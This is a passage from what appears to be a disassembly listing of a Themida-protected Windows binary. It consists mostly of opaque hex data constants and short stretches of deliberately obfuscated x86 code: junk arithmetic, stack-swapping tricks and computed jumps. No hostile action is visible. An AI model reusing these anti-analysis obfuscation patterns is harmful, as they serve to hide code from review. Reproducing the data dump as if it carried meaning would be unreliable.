5E624D01h, 0DBEF17ABh dd 2AF2EF6Bh, 464096D7h, 1DEFA817h, 0FD792D6Ah, 526104D9h dd 77897789h, 0CC4C0EB4h, 2E6D1F6Dh, 322EDE42h, 2B056E15h dd 0EEDF67FCh, 814FA708h, 180ADF4Ah, 0BB71681Ch, 0A9279B8Eh dd 63BF943Ch, 944CCB7Fh, 0C05CA95Dh, 0B04A411Bh, 54943CA9h dd 7BA2CD8h, 0EC23C968h, 585D8E70h, 0A2603EBh, 0C482293Eh dd 83943C61h, 618A6477h, 2684BFD3h, 3B1D3A02h, 3C588E50h dd 0E89F3694h, 90BD8FB3h, 653A6025h, 74EAFF28h, 0DF1CCF8Ah dd 0A11A2F33h, 77CBBEEBh, 8F943C24h, 6249F18Ah, 6D89C6DFh dd 18A39D89h, 0F9494073h, 1D943C56h, 5B482541h, 943C57EBh dd 4AEB8A39h, 963362A2h, 0B36BAD24h, 0E49C1B8Fh, 0C24EF4B7h dd 8584943Ch, 943CC23Dh, 0C9A55DD9h, 44B2F9ADh, 86943CC2h dd 3F8031A8h, 3BFA992Ah, 85DA4E85h, 99906A71h, 943CC12Ch dd 0F3A24ECAh, 85D5DF2h, 24C16013h, 0ADDBD1C9h, 91CC8239h dd 1CF14BCh, 542A0000h, 2CC37F2Ah, 4723E843h, 432CE260h dd 498A3BE8h, 4D29D95Dh, 0BD5C9430h, 105D4C1Eh, 0AE67FC0Ah dd 6A2198B2h, 59D0FE2Ch, 6A4F1B15h, 0B36BCBECh, 11CDA92Ah dd 98A3E18Ah, 0A195C779h, 5403EFD3h, 1F69B44Ch, 0DA5E99Dh dd 296468Ch, 0DFF6AAC6h, 8639ED2Eh, 5F3A861Dh, 8C69D0FDh dd 89B044EEh, 0DCCA8E7h, 0D691D5Ah, 6DB44BF0h, 0EC6F81B6h dd 0E12FE33h, 209B8539h, 0E0443069h, 6297500Bh, 26B541AEh dd 438023B2h, 5A8F384Fh, 893DFCDEh, 9C2794Eh, 0AC589739h dd 1F6011C8h, 1FD3EF73h, 0EAAA1878h, 437C3180h, 5A8F384Fh dd 6DD5D4A6h, 896DD11Ah, 66FDBEADh, 41E0BF5Ah, 0C90A4885h dd 0F95444Dh, 3A1FF441h, 3A0F4755h, 1995CA81h, 0C0B4E9A2h dd 7BBF7D6Eh, 13A95598h, 0BF13A736h, 251D9936h, 411B3791h dd 0D1C8F84Ah, 8C401C6Dh, 681C5B0Dh, 0BB71E816h, 0C82D9584h dd 6DC96DD1h, 0F2E9ED90h, 0C88D31D8h, 0FD796DD1h, 6DB358E3h dd 3A115C46h, 2D4A269Ah, 447932A9h, 58973950h, 3F782DACh dd 528F3453h, 0DD744B9Eh, 17AE45EFh, 0E085550Eh, 5B77FBA7h dd 0DFD0FDDFh, 70AE7414h, 651E95B2h, 14EA4430h, 0D1C6AD15h dd 0DE64276Dh, 366DD1C6h, 11E6423Ah, 856A6874h, 52A5D6E7h dd 0CAB09AAEh, 4E9B1A9Dh, 9B15872h, 0DB6DD1AFh, 0AEBC0605h dd 0EC236DD1h, 61576B35h, 4419150Dh, 0EF66E23Eh, 780F0338h dd 7CEB97D2h, 46FD24BBh, 829FDD08h, 0A2BE6BA6h, 0C3F8AF26h dd 0FC705DCFh, 7A935F5Bh, 4D69FCD1h, 61CDBC8Eh, 9D6DD1B1h dd 0DAD1AFC1h, 6DD1B168h, 3BB908Ch, 0DF93CE74h, 0FBD50612h dd 0D1B1A210h, 5206626Dh, 447932B4h, 3F9C3B88h, 193D7E2Dh dd 0A6A767FCh, 48B234A9h, 574B2013h, 72B356E5h, 4FF3A27Eh dd 0A794234Ah, 6D5A7CBh, 32A92560h, 512F417Ch, 234AE85Ah dd 66A14594h, 738DBAB6h, 0FF9EC14h, 57AC5A6Fh, 4A411BC0h dd 9E135A19h, 0E6B561BDh, 9E133A58h, 1DB0017h, 233D690Ah dd 45312D94h, 3689D46h, 5E250315h, 0DB7A6B3Bh, 66000004h dd 4ECD81C4h, 6CEB5F96h, 39C07CB5h, 56E55996h, 0D1B773B2h dd 66A547B5h, 81C263F2h, 5D984ECDh, 7CB15AE1h, 38F3CDC0h dd 6BDBEA8Ah, 5CA76D6Ah, 5D4C1EBDh, 67FC1EF8h, 0CD753406h dd 299423A2h, 2E7D294Dh, 9423A291h, 45A03F74h, 397B4B6Ch dd 954Ch, 9D8C7200h, 9423AA25h, 691954FAh, 254F00Dh, 6DCC7C34h dd 5B0FCAA4h, 0E0F57B17h, 6B874AD9h, 409EBBB7h, 31ADE289h dd 0B89249D4h, 0CC0969D1h, 80B89D6Dh, 883BD359h, 0DF514521h dd 0BDB80A01h, 5C6DCCh, 82B770EBh, 0FF40F168h, 0C0F74EAh dd 9F538E34h, 0DECD9FC3h, 6DCCBD7Ch, 0E1F8AC88h, 0EC39F52Ah dd 39F00AD1h, 6DCCBDEDh, 235A1289h, 0BA04533Fh, 986DCCFDh dd 2154AE9h, 0DA0407D9h, 506DCCFDh, 0FDA9E689h, 7EB2ADEh dd 783430F2h, 0A20Fh, 0BD5C7D00h, 0A7324C1Eh, 0F7B4C902h dd 67FC1B9Ah, 0D5F4A07Ch, 0EA37F334h, 513812CDh, 94239CEDh dd 0A02209F7h, 4494239Ch, 130F13E8h, 94C98239h, 4A367115h dd 461511E6h, 94239CFBh, 2FCA691Ah, 397B49DEh, 0E5391D4Eh dd 0F4A0D990h, 6A474B70h, 4C88401Dh, 2000000h, 7F2ABF5Ch dd 6DCC7CC3h, 0DD904723h, 688CE89Ch, 7C2F9396h, 6BC76DCCh dd 2C6D20B7h, 19C653B0h, 7CAA4447h, 6626DCCh dd 3CF34B1Ah, 0A2516DCCh, 51F4C703h, 0DAA3B10h, 0E511F8D2h dd 0A19233BCh, 0BC66DCCFh, 0A27E9233h dword_5C4CC0 dd 327C0ABEh, 0CB04A979h, 23DCFBA7h, 0CEE53AEEh, 1E0DF30Dh ; DATA XREF: Themida_:0054BD80o ; Themida_:0054E21Co dd 6DCC7CA4h, 69A64940h, 0C09DB9BDh, 11C8F198h, 9D1C67FCh dd 7DF9ADEAh, 0D2BE9A60h, 23963B83h, 1C550C94h, 82BD7168h dd 0ED841B8Eh, 7F3A36DFh, 80E490CBh, 9D39D86Bh, 4430651Eh dd 0B9140BE0h, 99397B3Fh, 2Ch, 1EBD5CF3h, 7C745D4Ch, 969267FCh dd 7C03BBEAh, 8EE2943Ch, 0FFDC17CBh, 8D60851Ch, 6D397B35h dd 12Dh, 0E722C893h, 8A22373Bh, 2A447932h, 7CED5554h, 2D096DCCh dd 95374E50h, 0F936D960h, 0CC7CB012h, 61D8546Dh, 0A15571AEh dd 0FCB1812Ah, 0D4F39FC3h, 63A75B2Bh, 29D9E17Ah, 330F33D2h dd 0D0BBA577h, 6DCC6F72h, 0CAC19692h, 6DCC125Ch, 0DCCFFAB1h dd 6DCC7266h, 8123A27Eh, 0EED24E42h, 0CF04BB3Ah, 74374923h dd 6DCC72CEh, 0D02D4A26h, 0D1B89249h, 67FC0108h, 0E022C7BEh dd 70294636h, 0EC08EC1Fh, 0F6BFD912h, 0EF5371A0h, 0F8FF64DAh dd 34F709E3h, 9423D28Eh, 0BED0A66h, 151A2A20h, 8C5EBA9Eh dd 942E772h, 7744191Dh, 382296D5h, 0F1513826h, 159E108Ah dd 8AD07219h, 17129E10h, 9E108AABh, 431FCF4Bh, 3EC41516h dd 4C21513Fh, 399EDD8Fh, 4036AC49h, 0F7C6CFC7h, 82000001h dd 4AD18DD0h, 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh dd 529133A1h, 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h dd 6BDBE5BEh, 32D35956h, 0C8B3F7Eh, 1F4C1E53h, 0DFC4672h dd 6DCCBAB5h, 1AE8D551h, 753446E3h, 6DCC4ACDh, 0A6304D29h dd 1EBD5C20h, 5A7324Ch, 0D9FAB1C6h, 3D67FC7Ch, 934C0FE1h dd 0CE9D895Eh, 94238370h, 0A441E093h, 397B3749h, 0E229h dd 82295700h, 94238FC0h, 99334824h, 8A3B7932h, 0CFE9C9FEh dd 24A34F73h, 0AC2F4180h, 69CDB9F8h, 252E9497h, 6AC66DCCh dd 5CCA918Dh, 0B16DCC58h, 30ABC5FAh, 0B5293E7Bh, 5C487D26h dd 718B5067h, 28269C8Fh, 62BE6DCCh, 73B87385h, 1367FC5Bh dd 5D74F60Eh, 0C27949E7h, 37F3CF0Eh, 3E10CBEAh, 0AC29E4Bh dd 8C33069Eh, 0C218AA61h, 20FC9E11h, 0F7D45044h, 86552703h dd 5527A3E2h, 421D1D18h, 0F106F05Eh, 0E287C66Ah, 40377D1Ah dd 0EB37A074h, 76000000h, 9E1D91D4h, 7CFBAFE6h, 49D08CC5h dd 66F569A6h, 0E1C783C2h, 569537A5h, 71B253E2h, 4D883EBDh dd 2C610A91h, 0C8C3BDB0h, 6BDBE67Ah, 32773D9Ah, 0C100A47Eh dd 0B97551D5h, 0D8548942h, 9131D806h, 756DCC7Ch, 9E24E7F9h dd 766DCC7Ch, 3247DDFAh, 39504479h, 84E15D92h, 95946675h dd 67F78AC8h, 0FBF00A66h, 7445AB16h, 1313E8F1h, 0AFEEA219h dd 0D18A5FC3h, 0F269E51Ah, 49100439h, 0C74ECB8Eh, 7EA73E65h dd 421C90C5h, 0EA96D577h, 0DB57486h, 0E9A74DC9h, 3CE3708Dh dd 0C77C1B07h, 0EF013AEFh, 4DC9863Ch, 0DE025EA7h, 1AEE9332h dd 6C183C71h, 9480B76Dh, 3D721990h, 36CD7649h, 8A29D88Ah dd 9EE88950h, 84A303BCh, 0E3F8DC62h, 0BE7AAF58h, 0A75B9037h dd 113Eh, 0D5774200h, 5FEBC196h, 12AE2C21h, 0C39399A9h dd 80321EA6h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh db 41h, 55h, 0CFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push 7C41h mov [esp], ebx mov esi, 12A101FCh push ecx mov ecx, 622624E3h shr ecx, 6 or ecx, 7F7759A9h sub ecx, 0FC95316h or ecx, 389B24DAh add ecx, 57BA721h sub esi, ecx pop ecx sub esi, 513177AAh add esi, 0C2E352EAh push esp mov ebx, [esp] add esp, 4 push 3732h mov [esp], esi pop dword ptr [ebx+8] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- add ch, [edi-5] enter 0FFFF8D22h, 52h db 2Eh jmp far ptr 1B17h:5B9946h ; --------------------------------------------------------------------------- loc_5C50EE: ; CODE XREF: Themida_:005C433Cj mov eax, 6179BCCh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 96h dd 0AC134D73h, 820C2F97h, 2431A63Fh, 427B305Bh, 85015067h dd 0FF209A3Ah, 3F215757h, 34FD0E9h, 0D86A9595h, 804E91BAh dd 3D245941h, 39697984h, 0FB1476E9h, 0A20021BFh, 5D0CADE8h dd 0C0736E82h, 0B34062F0h, 6F001DCAh, 0E858BA1Dh, 10h dd 8ED68EADh, 0D880CDC9h, 408BE317h, 0DDAA044Fh, 0EB8A5AF5h dd 68EBC281h, 81660000h, 0BB9713E0h, 1A0Dh, 0A98FD181h dd 32FF49CDh, 5E38F080h, 12E9h, 0E71B2500h, 8AE3083Ch dd 4C1C5F9Eh, 0B010A805h, 81F51CB6h, 0B53400F6h, 0C2BF0F18h dd 4C75C681h, 0BCB17BEBh, 671FEE81h, 665674C8h, 28FCA8Bh dd 10E9h, 68DAD200h, 20E86D04h, 80AAE956h, 8CFF9CDFh, 4EA8381h dd 0F01EB83h, 1F85h, 28A0F00h, 0B0000000h, 29E9C6h, 0D010000h dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh, 0A76BF66h dd 0FFFF7DE9h, 0B46B43FFh, 0FE8A43C2h, 0F17EE9E2h, 8D2AECADh dd 179E668Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0A7638954h, 0DE8B566Fh, 397F5DBAh dd 0F58D895Ah, 0F061009h, 688h, 0ED8D8900h, 0C7061030h dd 10231985h, 6A2806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0AE2FDED5h, 0C28B664Ch dd 22C185C7h, 610h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D6EB0FC3h, 0D628CD61h dd 0AE970h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 1EB9858Bh dd 0B5FF0610h, 61004E9h, 135D9589h, 95FF0610h, 6102DB9h dd 619B58Bh, 6A0610h, 31C995FFh, 0C08B0610h, 0B33518EBh dd 0E938B032h, 3B7E53F4h, 0B7524C93h, 0E12DAEBEh, 0A398D404h dd 11E995FDh, 0B3000000h, 58C49Ah, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5C587B ; --------------------------------------------------------------------------- db 94h, 0F2h, 0AFh dd 8DC47CFBh, 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh dd 6DEC609Fh, 38BF7BBCh, 54E35792h, 0C7C276ABh, 0E28C36F5h dd 8B686BDBh, 243E675h, 79325FE5h, 7CE75B4Eh, 23FF6DCCh dd 0AAC6FBA4h, 6D4784F6h, 85ECF28Ah, 28DC5774h, 628B75E9h dd 0BCD718Eh, 29DE5DD3h, 9B440FECh, 641BBA66h, 0E79E1D2Fh dd 1FC3C2AEh, 3BEB00E4h, 77A4E49Ch, 461BE453h, 14584838h dd 44BA2427h, 0EE2D6917h, 0C39FE1BDh, 0DA0FB8CFh, 0C3F8AF26h dd 0E1144ACFh, 5E0F0643h, 0A329C877h, 1918B708h, 16ECA272h dd 320E3273h, 104BFF76h, 2E691D9Ch, 0B0E79D1Ch, 39ECEB9Bh dd 0B86CAB5Dh, 347FC3C6h, 9B976DCCh, 0FDE79BB7h, 0E086AF46h dd 845729A5h, 71F5A1E0h, 0F328DF5Ch, 34EF58FFh, 8F306DCCh dd 0EE1CF5F0h, 7DFC336Ah, 4E000000h, 459996D7h, 524B0AC2h dd 0D005BE75h, 0AE8A3BFEh, 0EA96BAFBh, 0E6B57186h, 6DCCAF5Eh dd 0A441E0DFh, 336A6349h, 69BD94B9h, 0C7709D9Ah, 13EB2h dd 328C0000h, 7DB93A7Ah, 44296008h, 6B8795E1h, 286820B7h dd 52EBF268h, 3AE60A40h, 0F7ABE89Bh, 8244DBC4h, 4BD210B7h dd 0DA4E0C60h, 0DE422E12h, 639A5209h, 8CB770E7h, 0CC48259Dh dd 8165C16Dh, 1E0DF3CDh, 6DCC48A4h, 3D07E440h, 0FDA47E32h dd 14B9D0C4h, 274B27DBh, 0A3BFFAB0h, 0F930D8EFh, 942B500Dh dd 209CDB8Dh, 0F4C7F299h, 0D36F164Bh, 336DCC7Ch, 70671B37h dd 0EB6E80B9h, 21DDFA39h, 22A43B78h, 0EF626C29h, 62D9178Bh dd 0A25572ABh, 336AEB5Fh, 6B3Fh, 7E328D00h, 8D34533Fh dd 0FBD718B9h, 0E3087407h, 859704C8h, 85DDA57h, 0B331E207h dd 0D66D4E2Bh, 0EA5E9D4Fh, 867AB96Bh, 487F25B4h, 3803D85Ch dd 0F9AA5693h, 13CE2BCAh, 0F3336B08h, 50h, 3F7E3259h, 4A8E3453h dd 4225F136h, 564A26A6h, 9F53883Fh, 51458428h, 0A22EC55Eh dd 58D97847h, 368C7FB4h, 0CE6DCC5Ch, 2CBA6E52h, 29437A32h dd 0DFCAFDB2h, 6DCC7C63h, 0AECBA783h, 7C1CA9F0h, 94236DCCh dd 36B5F8FDh, 195336Bh, 0F7000000h, 216004D7h, 0A1DA8F4Ch dd 8C07BF5h, 2C4125D1h, 8528F8AFh, 55D45044h, 0A58175B2h dd 0EB6D5C1h, 0F9AC2BD7h, 0EC8FCCB8h, 46FD6755h, 0A6DF86AFh dd 9546CD32h, 0D0BBA5BBh, 6DCC7C72h, 0CAC19692h, 67FC0621h dd 0E47789E5h, 76150140h, 9FBC98CDh, 13FE8DFh, 4B577004h dd 813D1987h, 681C51FAh, 23EB8341h, 40DFC094h, 39F52AE1h dd 28CB09C2h, 70A837D3h, 0F1E89CB8h, 7A11053Ah, 89B092D2h dd 0B427B4AFh, 3A77E490h, 46F7210Eh, 0E017BA71h, 23DE9929h dd 0C5A17D94h, 6E059ED1h, 7F16A562h, 6D80DB6h, 81568D33h dd 93AF02BDh, 328F397Bh, 0FD000001h, 0E183BD5Ch, 4E72EEA2h dd 26BC8D7Ch, 0B12867FCh, 0B6D5C1FEh, 0DCF1D510h, 3F564A26h dd 5D75388h, 1B5F53C8h, 23A4D270h, 11363294h, 805DE803h dd 2AE10CB3h, 94232598h, 0D0C4A07Ch, 894212B9h, 0A0C4A054h dd 0F730D5F4h, 9BD68C0Bh, 7211B2E7h, 6B0A994Eh, 70EC21CAh dd 7BDD64ADh, 5A4439h, 5C860000h, 1E401AC1h, 0CC7CD76Bh dd 0A41E0D6Dh, 406DCC7Ch, 1B302CE4h, 7CDC4645h, 7CF8EDCCh dd 7D61E188h, 0AD4EEDCCh, 3D9E3916h, 7DFA6823h, 3E1A6DCCh dd 0A8BBB08Ah, 63DFCA07h, 836DCCF6h, 0F92C2A7h, 8634ADCAh dd 3C000000h, 0EDDB6722h, 0D0746DCCh, 43EAE191h, 3B11E60Ah dd 4C1EBD5Ch, 0FC0C3C5Dh, 0AC3A867h, 15AD5CF2h, 0F1942306h dd 0A26E4875h, 411DDDFAh, 588D3655h, 83AE55E4h, 23A13A88h dd 627EDA94h, 491BD188h, 998D69A6h, 97BEC09Dh, 9423A02Ch dd 3CE57C23h, 627C4E83h, 23A01BA7h, 4A1FFB94h, 33A82F94h dd 414C7219h, 21B89E18h, 39132F70h, 0BC91CC82h, 0DF14CBCAh dd 7312A133h, 0CC9E3DDCh, 2FA7F9DDh, 0B5290594h, 1EBD5C17h dd 0A9D88D4Ch, 0CC7C4002h, 0ACC8A46Dh, 795F7CF8h, 0F79AAC92h dd 0CA353667h, 82D79530h, 68C56489h, 4E091692h, 0F9AD8979h dd 0C1904687h, 611F03C7h, 0E318CF8Ch, 237F067h, 1C5470Eh dd 933637D3h, 8715AD5Ch, 75F1F6D8h, 7D26A551h, 0A0DF9148h dd 6D0497F4h, 5CF3CC5Fh, 0E7F92ED5h, 0DAB981E6h, 883FC725h dd 76FAA6E3h, 0A55EDD61h, 62058470h, 0CAA6E78Ah, 4B8429B0h dd 9C26E557h, 78F6D8A4h, 303D8FCh, 0E243E291h, 0C138F429h dd 794CCC0Ah, 0D05DFD07h, 0E004E019h, 3A334h, 5F190000h dd 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 0B968CF55h dd 8900004Eh, 1068242Ch, 8900002Ch, 8951241Ch, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 9E9EBA52h, 89560617h dd 5EF389D6h, 6A24685Ah, 24890000h, 24048124h, 4, 39596859h dd 4890000h, 8B824h, 0C8010000h, 0FF581889h, 81592434h dd 4C4h, 241C8B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 0F8DC67E9h, 0BB8391FFh, 956A9457h db 0ADh, 48h, 65h ; --------------------------------------------------------------------------- loc_5C587B: ; CODE XREF: Themida_:005C5304j mov eax, 617A38Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 437B083h, 61A35CBEh, 162F142h, 9D19827h, 3D93E9A7h dd 7F8E6DA3h, 688E4002h, 4A0F8C73h, 34C08A38h, 2FE2B352h dd 1ABA846Bh, 403BFF65h, 4C22BAF2h, 0F9037F8h, 37A36544h dd 12E8h, 0E6038D00h, 0B6D62682h, 9A91082Ah, 48E4C6DEh dd 0E9B2B5B2h, 0Bh, 0D2C30B13h, 9435CEA2h, 592A15F0h, 79F1C081h dd 0C181109Bh, 5ACBh, 7DBBD38Bh, 0E8000016h, 13h, 2038018Eh dd 51D0806h, 0BE6C8BDFh, 37DCBEF5h, 0BEAB9C4Bh, 11E815A8h dd 0F931FF5Eh, 0F681665Fh, 0F781561Dh, 76103E50h, 0A980C781h dd 0CE811D24h, 3C6996D3h, 0BC05EF81h, 0C78B09D2h, 81FC3989h dd 6E078BE9h, 0C181F807h, 76E0787h, 81C0BF0Fh, 1EBh, 2C850F00h dd 0E9000000h, 13h, 4B076150h, 0FCE0D4CCh, 0DCCA9805h dd 529E2703h, 0E9B03D41h, 28h, 19B0D9C2h, 0BEA01E23h, 328EF141h dd 0E984C89Dh, 0FFFFFF8Dh, 2A726C9Fh, 86F04F6Ch, 2F6398Eh dd 7C7F23C8h, 0D906A34Bh, 0ECE9h, 0 dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h dd 0E6000077h, 277h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 600h, 0AE351400h, 2396288Eh, 11424D33h, 0A94BD069h dd 7550B438h, 156636DBh, 0D7D5D432h, 2307D9AAh, 0EA0D583Eh dd 8F9288B7h, 41E58DD1h, 0F6E7E8CDh, 28E3E77Dh, 156628DBh dd 95F99232h, 34EDCAC8h, 7452CF35h, 98DBA153h, 15600127h dd 0A8E58147h, 137644A7h, 457F5632h, 0ADA69A61h, 15668C23h dd 1B03C1BBh, 88EB2422h, 1374A927h, 4D3D5BCDh, 15F3F9B1h dd 61662422h, 0AD354125h, 15668C23h, 1B03C1BBh, 88EB2422h dd 1374A436h, 4D3D5BCDh, 0AA002452h, 74932E36h, 1A07FEB8h dd 15669FB8h, 1574AD32h, 0A89F2232h, 42692078h, 0BB9A7BCAh dd 6DE34111h, 94216ACDh, 156619DBh, 0B3D1C232h, 0FB461455h dd 118AA164h, 4D4215BBh, 156A043Dh, 128F4432h, 7E662232h dd 519EE357h, 0A8E5E9A6h, 1371E164h, 53E22D32h, 75661132h dd 2EDC40B9h, 743B4815h, 981BA7BFh, 0EA9F1725h, 156061E2h dd 5A224432h, 2BE0028Ah, 98CB94BFh, 98698E25h, 15664426h dd 15662DDBh, 26C65832h, 35BBA3CBh, 0B3921207h, 0CB7D14E4h dd 9169C1CDh, 15668833h, 0F0E382C7h, 43603211h, 13E81E52h dd 1A668832h, 156644B8h, 24ABA232h, 0AD347953h, 18F149Ah dd 5C664432h, 9EB59201h, 0F74AA6E2h, 230E440Dh, 0F511C807h dd 1A8C3B4Bh, 156605B7h, 15696132h, 0D5384432h, 0B467EB58h dd 267FB15Dh, 0DE667732h, 50D3BB66h, 0ED60322Fh, 90EC94BFh dd 9C698E21h, 15664435h, 1567A83Dh, 0EA9A1132h, 0CDE7E8E2h dd 7EACC757h, 1564A93Dh, 74061132h, 14EE8753h, 0ED664432h dd 903A7BBh, 1A931722h, 156698B7h, 156DAD32h, 0EBEA2232h dd 7399E7BEh, 4AA150E2h, 80E3833Dh, 15603234h, 0FC661132h dd 15668821h, 82693560h, 0A60A2CD3h, 0FCAF9369h, 26A890D9h dd 0D3482BFDh, 545C7B7h, 7D9E5434h, 9B14E15Bh, 2FB4C552h dd 0E050DD14h, 8CD3EE53h, 1A609826h, 156648B1h, 13EB2D32h dd 1A661132h, 156688BDh, 14E54B32h, 0E9662232h, 2F5494BFh dd 128F8E22h, 15664432h, 48D40256h, 9E69F762h, 15668833h dd 1AB6BBCAh, 156602BBh, 0FFE77132h, 0E0CEC6Eh, 156657DBh dd 96F8B32h, 480B184h, 9013CE2Ch, 0BD5E7D5Ah, 7D1717DFh dd 54E39853h, 1A609826h, 156643BCh, 14EE2D32h, 0E9661132h dd 36830DF4h, 0FC254222h, 1566223Eh, 0E5189752h, 6B18C4EDh dd 1512AD8Ah, 1573AD3Dh, 9B691132h, 1566883Dh, 15664EDBh dd 0E99B6A32h, 0C1954102h, 7D0F840Bh, 89012F6Ch, 1579A33Dh dd 0FD061132h, 15668826h, 18BAB8FBh, 45361599h, 0D10E8B61h dd 3FDEE104h, 0F334B148h, 0FD95A26Ah, 8CD3EE53h, 0E9609826h dd 2F54C1BFh, 1F8F2422h, 24661132h, 0E9E740C2h, 1D9CC266h dd 0FCB6DD73h, 15661120h, 0DC57144Bh, 0FA3A0C8Ch, 0EA0AD810h dd 0D8BE37EEh, 90EF6E2Bh, 1371E10Ch, 156632DBh, 0EC480232h dd 0D9BD06AAh, 0EFF7AC76h, 541DAECBh, 0F0E3D7B6h, 41609811h dd 1A96CE52h, 156627BFh, 0B004A932h, 7D07B414h, 0FB042C1Bh dd 156630DBh, 5F72A832h, 4F5CA650h, 20B190A3h, 0C5F27741h dd 0EA092934h, 5721187h, 90EBBC34h, 13761800h, 156F953Dh dd 0A4068832h, 0CBE722E0h, 0EA07BBD6h, 90EFE9E2h, 13712D70h dd 156EC93Dh, 97692232h, 15661130h, 90A0E952h, 137667D7h dd 0D70EDE77h, 0FCBC710Ah, 1566883Fh, 0B608A07h, 0A3B31Fh dd 5CD2D99Fh, 8CD37798h, 0E0605426h, 2F54A7BFh, 9B691722h dd 15668835h, 1567C23Dh, 0EA9E2232h, 1576F8E2h, 32E08832h dd 0E07E9C59h, 0DE31BADAh, 85386BFFh, 90EFB5ABh, 1371E174h dd 15E32D52h, 94661132h, 0BF51ACD8h, 0A8E52564h, 1376003Bh dd 75E31E32h, 1A668833h, 15665CBFh, 1575CB32h, 0DD261132h dd 5449FFC3h, 0B49DB242h, 82049F13h, 1FBC35A8h, 0F0E34EE2h dd 50605411h, 15ED2D52h, 73661132h, 0FC0743B9h, 1566443Ah dd 1D6B910Ch, 0CB5CFB18h, 35180E5Ah, 0BE54BC8h, 1A662232h dd 156609BAh, 15756132h, 3A2A4432h, 932A253Eh, 0DC8AEB90h dd 0BB187491h, 0C7B1EFDFh, 8CD3DDFCh, 0E0600126h, 2F540DBFh dd 75064222h, 156633DAh, 78FDCC32h, 0CE45CC57h, 72191031h dd 6DBC6091h, 7339AB18h, 3A2941B3h, 74A7CF53h, 1E8FF2CDh dd 6D661132h, 331C8D04h, 669892Ch, 90EF3C80h, 1371B478h dd 15776052h, 8E514432h, 8317392Dh, 6DBF2B45h, 38056711h dd 0FD7A5436h, 1566223Dh, 5631D113h, 5F10177Bh, 3E77590Eh dd 4F8AEA47h, 0E491916Bh, 0F0E34E53h, 59605411h, 966942CBh dd 15661130h, 90693F87h, 15664433h, 0D60E43C7h, 1A8637E2h dd 156689B6h, 0A099B832h, 137636ABh, 156614DBh, 5AF91032h dd 1A8F955Fh, 0E662232h, 8AD5E1F0h, 9EE4F502h, 48B7FED3h dd 90EB6EFFh, 13762B00h, 0C6D18752h, 0EA071A63h, 156CCBE2h dd 2C2C1132h, 0D5341FD8h, 8FADDA6Ch, 0B028A7BBh, 1F8F1725h dd 0F7668832h, 0AE4A1AECh, 0F7154EFCh, 145CF8FEh, 0D39F8832h dd 545A1B7h, 7D9F7034h, 0A92CF53Fh, 19B90952h, 1A2C2D4Bh dd 156627B4h, 0F677AE32h, 0EA07B0A3h, 5693D87h, 198FDE34h dd 0A2661132h, 0D955CEFh, 19A49B74h, 988AE87Ah, 55C23B7h dd 19E78734h, 1A664432h, 156624B1h, 15E81E32h, 0EA668832h dd 0E90624E2h, 15662FDAh, 0C8901B32h, 310B002Fh, 8E501295h dd 743E713Eh, 5FE39853h, 1A609F97h, 15666CBEh, 128E4232h dd 2661132h, 2FA686FFh, 0FC3FB04Eh, 15662226h, 0E7CEC6A3h dd 0BDA544Fh, 0E86479B9h, 0A00F9F4Ch, 9C064115h, 0F0E34E53h dd 47605411h, 15662DDBh, 2AB43F32h, 0A5E072CEh, 0B9DFC11Eh dd 0C6AD7F9Dh, 592C595Ah, 156D6194h, 0E6D44432h, 0AE46C10Ch dd 7AAA4520h, 6CD37757h, 1A60543Dh, 156632BBh, 156DF832h dd 0AE5D8832h, 0E0AADE5Dh, 19894426h, 27E39C75h, 75609808h dd 0A04DB5B3h, 188F42E7h, 0FE661132h, 0EF115EABh, 0A285A75Dh dd 0FF15D6FBh, 156AF853h, 48778832h, 0AA6CF7BFh, 7DA33080h dd 0C599404Bh, 5BE301CBh, 0FC605397h, 15662222h, 0CE43DCBEh dd 539F6C8Fh, 4BDAD8DCh, 0AE304090h, 368394F4h, 1A348E22h dd 156643BAh, 0ECEC4232h, 74BFAE3Dh, 57D2625Ah, 0A099B8CFh dd 137636ABh, 15661CDBh, 0B4AAAE32h, 5CDDC7Eh, 2E6CE5EFh dd 1D8FD87Dh, 83668832h, 0E045D73h, 9890E898h, 55C23B7h dd 0C5997434h, 7CE3CDC7h, 0EC60323Fh, 368394F4h, 75118E22h dd 3E8894B3h, 0FFE63A11h, 0B60E7035h, 0FC951F9Ah, 15664434h dd 0CDF48CEFh, 0A09964ABh, 1376A8D7h, 15664FDBh, 74631532h dd 7BF2AA90h, 0E16C4EBEh, 2F54C1BFh, 0EC9F2422h, 0FD06C1CDh dd 15668822h, 6E45E01Ah, 0AAC8829Ch, 55B069C4h, 0C40320D2h dd 4B9CFB3Dh, 90EF43CBh, 137610F7h, 0F0E34ECEh, 47605411h dd 940042CBh, 1AFD35E1h, 7D077A8Dh, 9FBB7525h, 156628DBh dd 8FD97332h, 2998348Eh, 0EA0A3543h, 572BB87h, 1B8E7134h dd 0E7668832h, 0E5B49DB6h, 7BD2C511h, 